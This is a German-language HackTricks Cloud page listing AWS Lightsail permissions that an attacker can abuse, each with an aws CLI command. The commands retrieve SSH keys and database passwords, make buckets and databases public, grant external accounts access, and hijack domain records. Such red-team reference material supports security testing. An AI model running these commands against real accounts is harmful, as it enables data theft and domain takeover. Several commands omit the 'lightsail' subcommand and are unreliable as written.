AWS - Lightsail Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Lightsail
Für weitere Informationen zu Lightsail siehe:
warning
Es ist wichtig zu beachten, dass Lightsail doesn’t use IAM roles belonging to the user sondern einem von AWS verwalteten Konto zugeordnet ist, daher können Sie diesen Dienst nicht für privesc missbrauchen. Allerdings könnten in diesem Dienst sensitive data wie code, API keys und database info gefunden werden.
lightsail:DownloadDefaultKeyPair
Diese Berechtigung ermöglicht es Ihnen, die SSH keys zu erhalten, um auf die instances zuzugreifen:
aws lightsail download-default-key-pair
Mögliche Auswirkung: Sensible Informationen innerhalb der Instanzen finden.
lightsail:GetInstanceAccessDetails
Diese Berechtigung ermöglicht es, SSH-Schlüssel zu erzeugen, um auf die Instanzen zuzugreifen:
aws lightsail get-instance-access-details --instance-name <instance_name>
Mögliche Auswirkungen: Sensible Informationen innerhalb der Instanzen finden.
lightsail:CreateBucketAccessKey
Mit dieser Berechtigung können Sie einen Schlüssel erhalten, um auf den bucket zuzugreifen:
aws lightsail create-bucket-access-key --bucket-name <name>
Mögliche Auswirkung: Sensible Informationen im Bucket finden.
lightsail:GetRelationalDatabaseMasterUserPassword
Diese Berechtigung erlaubt es Ihnen, die Zugangsdaten zu erhalten, um auf die Datenbank zuzugreifen:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
Mögliche Auswirkungen: Sensible Informationen in der Datenbank finden.
lightsail:UpdateRelationalDatabase
Diese Berechtigung ermöglicht es Ihnen, das Passwort für den Zugriff auf die Datenbank zu ändern:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
Wenn die Datenbank nicht öffentlich ist, könntest du sie auch mit diesen Berechtigungen öffentlich machen mit
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Mögliche Auswirkungen: Zugriff auf sensible Informationen in der Datenbank.
lightsail:OpenInstancePublicPorts
Diese Berechtigung erlaubt das Öffnen von Ports zum Internet
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Potentielle Auswirkung: Zugriff auf sensible Ports.
lightsail:PutInstancePublicPorts
Diese Berechtigung erlaubt das Öffnen von Ports ins Internet. Beachte, dass der Aufruf alle geöffneten Ports schließt, die darin nicht angegeben sind.
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Mögliche Auswirkung: Zugriff auf sensible Ports.
lightsail:SetResourceAccessForBucket
Diese Berechtigung ermöglicht es, einer Instanz Zugriff auf einen Bucket zu gewähren, ohne zusätzliche Anmeldeinformationen.
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Mögliche Auswirkungen: Potenziell neuer Zugriff auf buckets mit sensiblen Informationen.
lightsail:UpdateBucket
Mit dieser Berechtigung könnte ein Angreifer seinem eigenen AWS-Konto Lesezugriff auf buckets gewähren oder die buckets sogar für alle öffentlich machen:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Mögliche Auswirkungen: Möglicher neuer Zugriff auf buckets mit sensiblen Informationen.
lightsail:UpdateContainerService
Mit dieser Berechtigung könnte ein Angreifer dem Containers-Service Zugriff auf private ECRs gewähren.
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
Mögliche Auswirkungen: Sensible Informationen aus einem privaten ECR abrufen
lightsail:CreateDomainEntry
Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse verweisen (subdomain takeover), oder einen SPF-Eintrag erstellen, der es ihm erlaubt, E-Mails von der Domain zu spoofen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potential Impact: Übernahme einer Domain
lightsail:UpdateDomainEntry
Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse zeigen (subdomain takeover), oder einen SPF record erstellen, der ihm erlaubt, spoof emails von der Domain zu verschicken, oder sogar die Hauptdomain auf seine eigene IP-Adresse zu setzen.
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Mögliche Auswirkung: Übernahme einer Domain
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud